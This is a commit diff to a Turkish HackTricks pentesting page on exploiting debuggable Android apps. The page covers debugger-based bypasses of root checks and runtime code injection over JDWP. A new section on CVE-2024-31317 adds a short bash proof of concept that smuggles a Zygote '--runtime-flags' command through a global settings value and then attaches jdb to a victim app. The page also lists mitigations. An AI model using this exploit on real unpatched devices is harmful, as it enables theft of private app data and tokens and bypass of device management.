mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d
This commit is contained in:
parent
9abc9b3983
commit
62e8a00d2a
@ -4,18 +4,18 @@
|
||||
|
||||
# **Kök ve hata ayıklanabilir kontrollerin atlatılması**
|
||||
|
||||
Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) başlıklı yazıdan bir özet içermektedir.
|
||||
Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) adresindeki yazının bir özetidir.
|
||||
|
||||
## Android Uygulamasını Hata Ayıklanabilir Hale Getirme ve Kontrolleri Atlatma Adımları
|
||||
|
||||
### **Uygulamayı Hata Ayıklanabilir Hale Getirme**
|
||||
|
||||
İçerik https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresinden alınmıştır.
|
||||
İçerik https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresine dayanmaktadır.
|
||||
|
||||
1. **APK'yı Decompile Et:**
|
||||
|
||||
- APK'yı decompile etmek için APK-GUI aracını kullanın.
|
||||
- _android-manifest_ dosyasına `android:debuggable=true` ekleyerek hata ayıklama modunu etkinleştirin.
|
||||
- _android-manifest_ dosyasına `android:debuggable="true"` ekleyerek hata ayıklama modunu etkinleştirin.
|
||||
- Değiştirilen uygulamayı yeniden derleyin, imzalayın ve zipalign yapın.
|
||||
|
||||
2. **Değiştirilen Uygulamayı Yükle:**
|
||||
@ -26,11 +26,11 @@ Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-t
|
||||
|
||||
- Üçüncü taraf uygulamaları listelemek ve paket adını bulmak için `adb shell pm list packages –3` komutunu çalıştırın.
|
||||
|
||||
4. **Uygulamayı Hata Ayıklayıcı Bağlantısını Bekleyecek Şekilde Ayarlayın:**
|
||||
4. **Uygulamayı Hata Ayıklayıcı Bağlantısını Bekleyecek Şekilde Ayarla:**
|
||||
|
||||
- Komut: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Not:** Bu komut, uygulamayı başlatmadan önce her seferinde çalıştırılmalıdır, böylece hata ayıklayıcıyı bekler.
|
||||
- Süreklilik için `adb shell am setup-debug-app –w -–persistent <package_name>` kullanın.
|
||||
- Süreklilik için, `adb shell am setup-debug-app –w ––persistent <package_name>` kullanın.
|
||||
- Tüm bayrakları kaldırmak için `adb shell am clear-debug-app <package_name>` komutunu kullanın.
|
||||
|
||||
5. **Android Studio'da Hata Ayıklama İçin Hazırlık Yapın:**
|
||||
@ -43,13 +43,13 @@ Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-t
|
||||
|
||||
### **Kontrolleri Atlatma**
|
||||
|
||||
Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklenmiş bir cihazı gösteren ikili dosyaları da kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir bitini kaldırmak ve aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
|
||||
Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklenmiş bir cihazı gösteren ikili dosyaları da kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir bitini kaldırmak ve bu kontrolleri atlatmak için aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
|
||||
|
||||
Hata ayıklanabilir kontrolü için:
|
||||
|
||||
1. **Bayrak Ayarlarını Değiştir:**
|
||||
- Hata ayıklayıcı konsolunun değişken bölümünde, `this mLoadedAPK -> mApplicationInfo -> flags = 814267974` yolunu izleyin.
|
||||
- **Not:** `flags = 814267974` ikili temsili `11000011100111011110` olup, "Flag_debuggable" bayrağının aktif olduğunu gösterir.
|
||||
- **Not:** `flags = 814267974`'ün ikili temsili `11000011100111011110` olup, "Flag_debuggable" bayrağının aktif olduğunu gösterir.
|
||||
|
||||

|
||||
|
||||
@ -64,16 +64,16 @@ Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanıl
|
||||
## **Açığı Kontrol Etme**
|
||||
|
||||
- Uygulama, `AndroidManifest.xml` dosyasına erişmek için `apktool` kullanılarak decompile edildi.
|
||||
- AndroidManifest.xml dosyasında `android_debuggable="true"` ifadesinin varlığı, uygulamanın hata ayıklanabilir olduğunu ve istismara açık olduğunu gösterir.
|
||||
- `apktool`'un yalnızca hata ayıklanabilir durumu kontrol etmek için kullanıldığını belirtmek gerekir; herhangi bir kod değiştirilmemiştir.
|
||||
- AndroidManifest.xml dosyasında `android_debuggable="true"` bulunması, uygulamanın hata ayıklanabilir olduğunu ve istismara açık olduğunu gösterir.
|
||||
- `apktool`'un yalnızca hata ayıklanabilir durumu kontrol etmek için kullanıldığını belirtmek gerekir; herhangi bir kod değiştirilmez.
|
||||
|
||||
## **Kurulumu Hazırlama**
|
||||
|
||||
- Süreç, bir emülatör başlatmayı, savunmasız uygulamayı yüklemeyi ve dinleyen Dalvik VM portlarını belirlemek için `adb jdwp` kullanmayı içeriyordu.
|
||||
- JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar.
|
||||
- Uzaktan hata ayıklama için port yönlendirmesi gerekliydi, ardından JDB hedef uygulamaya bağlandı.
|
||||
- Uzaktan hata ayıklama için port yönlendirme gerekliydi, ardından JDB hedef uygulamaya bağlandı.
|
||||
|
||||
## **Çalışma Zamanında Kod Enjekte Etme**
|
||||
## **Çalışma Zamanında Kod Enjeksiyonu**
|
||||
|
||||
- İstismar, kesme noktaları ayarlayarak ve uygulama akışını kontrol ederek gerçekleştirildi.
|
||||
- Uygulamanın yapısını ortaya çıkarmak için `classes` ve `methods <class_name>` gibi komutlar kullanıldı.
|
||||
@ -83,9 +83,45 @@ Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanıl
|
||||
|
||||
Bu örnek, hata ayıklanabilir bir uygulamanın davranışının nasıl manipüle edilebileceğini gösterdi ve uygulama bağlamında cihazda shell erişimi elde etme gibi daha karmaşık istismarların potansiyelini vurguladı.
|
||||
|
||||
---
|
||||
|
||||
# 2024 – **herhangi bir** uygulamayı hata ayıklanabilir bir süreç haline getirme (CVE-2024-31317)
|
||||
|
||||
Hedef APK _android:debuggable_ bayrağı ile gönderilmese bile, son araştırmalar, Zygote'un komut satırı argümanlarını nasıl işlediğini kötüye kullanarak **rastgele uygulamaların** `DEBUG_ENABLE_JDWP` çalışma zamanı bayrağı ile başlatılmasının mümkün olduğunu göstermiştir.
|
||||
|
||||
* **Açık:** Zygote'un komut soketinden sağlanan `--runtime-flags`'ın uygunsuz doğrulaması, `system_server`'a ulaşabilen bir saldırganın (örneğin, `WRITE_SECURE_SETTINGS` iznine sahip ayrıcalıklı `adb` shell aracılığıyla) ek parametreler enjekte etmesine olanak tanır. Hazırlanan komut `system_server` tarafından tekrar oynatıldığında, kurban uygulaması _hata ayıklanabilir_ olarak fork edilir ve dinleyen bir JDWP iş parçacığı ile başlatılır. Bu sorun **CVE-2024-31317** olarak takip edilmektedir ve Haziran 2024 Android Güvenlik Bülteni'nde düzeltilmiştir.
|
||||
* **Etkisi:** **herhangi bir** uygulamanın (örneğin, `com.android.settings` gibi ayrıcalıklı olanlar dahil) özel veri dizinine tam okuma/yazma erişimi, token hırsızlığı, MDM atlatma ve birçok durumda artık hata ayıklanabilir süreçlerin dışa aktarılan IPC uç noktalarını kötüye kullanarak ayrıcalık yükseltme için doğrudan bir yol.
|
||||
* **Etkilenen sürümler:** Haziran 2024 yamanma seviyesinden önce Android 9'dan 14'e kadar.
|
||||
|
||||
## Hızlı PoC
|
||||
```bash
|
||||
# Requires: adb shell (device must be <2024-06-01 patch-level)
|
||||
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
|
||||
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
|
||||
|
||||
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
|
||||
adb shell monkey -p com.victim.bank 1
|
||||
|
||||
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
|
||||
adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Adım 1'deki hazırlanmış değer, ayrıştırıcıyı “hızlı yol”dan çıkarır ve `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) içeren ikinci bir sentetik komut ekler; bu, çerçeve tarafından sağlanmış gibi kabul edilir. Uygulama başlatıldığında, bir JDWP soketi açılır ve düzenli dinamik hata ayıklama hileleri (metot değiştirme, değişken yamanası, canlı Frida enjeksiyonu vb.) **APK veya cihaz önyükleme görüntüsünü değiştirmeden** mümkündür.
|
||||
|
||||
## Tespit ve Azaltma
|
||||
|
||||
* **2024-06-01** (veya sonrası) güvenlik seviyesine yamanın – Google, sonraki komutların bu şekilde kaçırılmasını önlemek için `ZygoteCommandBuffer`'ı güçlendirdi.
|
||||
* Üretim cihazlarında `WRITE_SECURE_SETTINGS` / `shell` erişimini kısıtlayın. İstismar bu izni gerektirir; bu izin genellikle yalnızca ADB veya OEM ayrıcalıklı uygulamalar tarafından tutulur.
|
||||
* EMM/MDM yönetimindeki filolarda, `ro.debuggable=0` uygulayın ve `adb disable-verifier` ile shell erişimini reddedin.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
|
||||
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user